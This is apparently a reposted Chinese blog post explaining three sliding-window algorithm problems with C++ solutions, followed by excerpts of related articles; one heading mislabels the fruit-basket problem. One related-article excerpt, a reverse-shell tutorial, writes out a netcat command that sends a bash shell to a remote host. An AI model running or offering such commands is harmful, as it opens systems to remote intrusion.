滑动窗口刷题(二)

目录

1.最大连续1的个数 III

1.题目解析

2.算法原理

2.1暴力枚举(不过多介绍)

2.2双指针优化

3.代码编写

2. 将 x 减到 0 的最小操作数

1.题目解析

2.算法原理

2.1滑动窗口

3.代码编写

3. 水果成篮

1.题目解析

2.算法思路

2.1滑动窗口+哈希表


1.最大连续1的个数 III

1.题目解析

2.算法原理

2.1暴力枚举(不过多介绍)

int longestOnes(vector<int>& nums, int k) {int n = nums.size();int ret = 0;for(int i = 0; i<n; i++){int t = k;int cnt = 0;for(int j = i; j<n; j++){if(nums[j] == 1){cnt++;}else if(nums[j] == 0){t--;if(t < 0){break; }cnt++;}ret = max(ret,j-i+1);}}return ret; 
}

2.2双指针优化

在暴力解法中发现,两个指针是同向一起向后走,考虑双指针优化。

将问题转化为维护一个区间,区间内部的0的个数不能超过k。求最长的区间。

进窗口:遍历数组如果nums[right] == 0,计数器cnt--

判断:区间内0的个数是否超过k

出窗口:left++直到区间内0的个数小于k

3.代码编写

 int longestOnes(vector<int>& nums, int k) {int left = 0,right = 0;int ret = 0, cnt = 0;while(right < nums.size()){if(nums[right] == 0){cnt++;}while(cnt > k){   if(nums[left] == 0){cnt--;}left++; }ret = max(ret,right - left +1);right++;}return ret;}

2. 将 x 减到 0 的最小操作数

1.题目解析

这道乍一看,左边减一次,右边见一次很不好处理,这个时候用逆向思维可以很好解决问题。

让操作次数最短,就是让左右两边的和为x长度加起来最短,转换一下,让中间部分和为sum-x最长(sum为整个数组的和)。

求和为sum-x的最长子数组

2.算法原理

2.1滑动窗口

求数组整体的和sum

进窗口:遍历数组cnt += nums[right]

判断:cnt的值是否大于target

出窗口:cnt -= nums[left]

3.代码编写

int minOperations(vector<int>& nums, int x) {int sum = 0;for(int i : nums){sum += i;}int target = sum - x;int  n = nums.size();if(target < 0)return -1;int cnt = 0;int ret = -1;for(int left = 0,right = 0; right < nums.size(); right++){cnt += nums[right];while(cnt > target){cnt -= nums[left];left++;}if(cnt == target)ret = max(ret,right-left+1);}return ret == -1 ? -1 : n -ret ;}

3.最大连续1的个数 III

1.题目解析

说了一大堆翻译成人话就是

求数字种类不超过2种的最长子数组。(1,2就是不同的水果种类)

2.算法思路

2.1滑动窗口+哈希表

进窗口:进哈希表,数字种类++。

判断:哈希表的大小是否大于2

出窗口:将left指针指向的元素,在哈希表中数字种类--,减为0之后删除,直到哈希表的大小小于2。

int totalFruit(vector<int>& fruits) {//找一个最长连续的子数组,子数组内的类型不能超过2种unordered_map<int,int> hash;int ret = 0;int left = 0, right = 0;while(right < fruits.size()){   hash[fruits[right]]++;//进窗口while(hash.size() > 2)//判断{ hash[fruits[left]]--;//出窗口if(hash[fruits[left]] == 0){hash.erase(fruits[left]);}left++;}ret = max(ret,right-left+1);right++;}return ret;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/700750.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Android的校园请假App的研究与实现

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

每日五道java面试题之spring篇(五)

目录&#xff1a; 第一题. 使用 Spring 有哪些方式&#xff1f;第二题. 什么是Spring IOC 容器&#xff1f;第三题. 控制反转(IoC)有什么作用?第四题. IOC的优点是什么&#xff1f;第五题. BeanFactory 和 ApplicationContext有什么区别&#xff1f; 第一题. 使用 Spring 有哪…

前沿科技速递——YOLOv9

随着YOLO系列的不断迭代更新&#xff0c;前几天&#xff0c;YOLO系列也迎来了第九个大型号的更新&#xff01;YOLOv9正式推出了&#xff01;附上原论文链接。 arxiv.org/pdf/2402.13616.pdf 同样是使用MS COCO数据集进行对比比较&#xff0c;通过折线图可看出AP曲线在全方面都…

python整数类型格式化输出时,b、c、d、o、x、X分别代表哪种格式化,为什么选择这些字母表示格式化,是因为这些字母代表某个单词的首字母吗?

问题描述&#xff1a;python整数类型格式化输出时&#xff0c;b、c、d、o、x、X分别代表哪种格式化&#xff0c;为什么选择这些字母表示格式化&#xff0c;是因为这些字母代表某个单词的首字母吗&#xff1f; 问题解答&#xff1a; 在 Python 中&#xff0c;整数类型格式化输…

docker-compose在虚拟机上搭建zookeeper+kafka3.0.0集群

1. 概述 以docker-compose的方式搭建zookeeperkafka3的集群&#xff0c;比起用docker命令的方式更加简单&#xff0c;还能保留配置信息。不会docker-compose没关系&#xff0c;按照我下面的操作步骤即可。集群的结构是三个zookeeper节点加上三个kafka节点&#xff0c;zookeepe…

linux反弹shell简单使用

一、反弹shell&#xff08;NC正向反弹&#xff09; 1、靶机开启监听端口 格式&#xff1a; nc -lvvp [任意未占用的端口号] 例&#xff1a; nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式&#xff1a; nc -e /bin/bash [靶机ip] [靶机监听端口] 例&#xff1a; nc -e /bin…

018—pandas 生成笛卡尔积排列组合合并多列字符串数据

思路&#xff1a; 本需求需要将给定的几列数据&#xff0c;生成一个排列组合形式的数据列&#xff0c;利用到 Pandas 多层索引生成的笛卡尔积的方法。 二、使用步骤 1.引入库 代码如下&#xff08;示例&#xff09;&#xff1a; import pandas as pd2.读入数据 代码如下&…

手写redux和applyMiddleware中间件react示例

目录 一 核心代码 1.reducer 2.store.js 二 关于context API的使用 1. MyContext 2. createContext 3. ContextProvider 4. connect 三 组件验证效果 1. Todo 2. TodoList 3.TodoItem 4.TodoInput 5. App组件引入Todo组件 一 核心代码 1.reducer // 新增列表数…

发布订阅模式:观察者模式的一种变体

发布-订阅模型&#xff08;Publish-Subscribe Model&#xff09;的底层机制通常基于观察者模式。 发布-订阅模型是观察者模式的一种变体。 在观察者模式中&#xff0c;主题&#xff08;或被观察者&#xff09;维护了一组观察者&#xff0c;当主题的状态发生变化时&#xff0c…

Android MediaRecorder 相关

Android MediaRecorder 相关 本篇文章主要介绍下MediaRecorder类. 1:创建对象 MediaRecorder mediaRecordernew MediaRecorder();MediaRecorder可以直接通过无参构造直接创建对象. 2: 音频源 通过调用setAudioSource(int audio_source)来设置音频源,可以是麦克风.音频文件…

【Postman+Newman】接口自动化测试以及测试报告输出

Newmanpostman自动化测试 postmanPre-request Script前置脚本 Newman测试报告输出 postman 学习postman脚本编写 Pre-request Script前置脚本 Newman 测试报告输出 输出报告时使用的命令&#xff1a;     -r html,json,junit 指定生成html&#xff0c;json&#xff0c…

零基础学编程,编程简单学,中文编程工具下载及工具箱进度条构件的用法

一、前言 今天给大家分享的中文编程开发语言工具 进度条构件的用法。 编程入门视频教程链接 https://edu.csdn.net/course/detail/39036 编程工具及实例源码文件下载可以点击最下方官网卡片——软件下载——常用工具下载——编程工具免费版下载及实例源码下载。 进度条 进度…

设计一个 shell 命令行程序

目录 实现 shell 主要思路 代码&#xff08;Linux&#xff09;系统 实现 shell 主要思路 1、要知道一个 shell 进程在运行起来都会在命令行呈现什么&#xff0c;如图是Xshell 登录成功后的界面&#xff1a;所以第一步要做的就是打印命令行提示符。 Xshell 命令行提示符的组…

计算机网络面经-HTTP 与 HTTPS 的区别?

目录 基本概念 HTTP 与 HTTPS 区别 HTTP 与 HTTPS 的区别? 安全性 不安全 安全 默认端口 80 443 资源消耗 较少 较多 是否需要证书 不需要 需要 报文是否加密 明文 密文 基本概念

Android进阶之旅(第5天)

充实的一天又过去了&#xff0c;今天真的好冷啊&#xff0c;我们这里雪很大&#xff0c;早上最傻逼的决定就是穿了一个短的棉袜出来&#xff0c;漏脚踝&#xff0c;冷成傻子 接下来老规矩&#xff0c;看下昨天计划的完成情况&#xff1a; 今日计划&#xff1a; 1.过bug 2.看…

Vivado MIG ip核使用教程

Step 1 在ip catalog中搜索mig ip核并打开&#xff0c;检查硬件配置 Step 2 Step 3 选择对其他芯片类型的兼容性&#xff0c;若无此方面需求&#xff0c;可直接点击next Step 4 选择存储器类型 Step 5 配置DDR3芯片工作频率、用户时钟、mig ip核输入时钟、DDR3芯片类型…

golang中goroutine和线程的区别?

谈到 goroutine&#xff0c;绕不开的一个话题是&#xff1a;它和 thread 有什么区别&#xff1f; 参考资料【How Goroutines Work】告诉我们可以从三个角度区别&#xff1a;内存消耗、创建与销毀、切换。 内存占用 创建一个 goroutine 的栈内存消耗为 2 KB&#xff0c;实际运…

jax可微分编程的笔记(2)

jax可微分编程的笔记&#xff08;2&#xff09; 第2章 自动微分 自动微分和符号求导有诸多的相似之处&#xff1a;它们同样依赖于计算图 的构建&#xff0c;同样依赖于求导的递归实现。从某种意义上来说&#xff0c;它们 甚至有完全相同的数据结构。不过&#xff0c;二者的区…

React学习计划-react-hooks补充

React Hooks 1. 使用hooks理由 高阶组件为了复用&#xff0c;导致代码层级复杂生命周期的复杂 2. useState(保存组件状态) const [state, setstate] useState(initialState)3. useEffect(处理副作用)和useLayoutEffect(同步执行副作用) 使用方式&#xff1a; useEffect(…

《隐私计算简易速速上手小册》第2章:关键技术介绍(2024 最新版)

文章目录 2.1 同态加密2.1.1 基础知识2.1.2 主要案例:云计算数据分析2.1.3 拓展案例 1:医疗数据分析2.1.4 拓展案例 2:金融风险评估2.2 安全多方计算(SMC)2.2.1 基础知识2.2.2 主要案例:跨机构金融数据共享2.2.3 拓展案例 1:医疗研究合作2.2.4 拓展案例 2:跨国界数据交…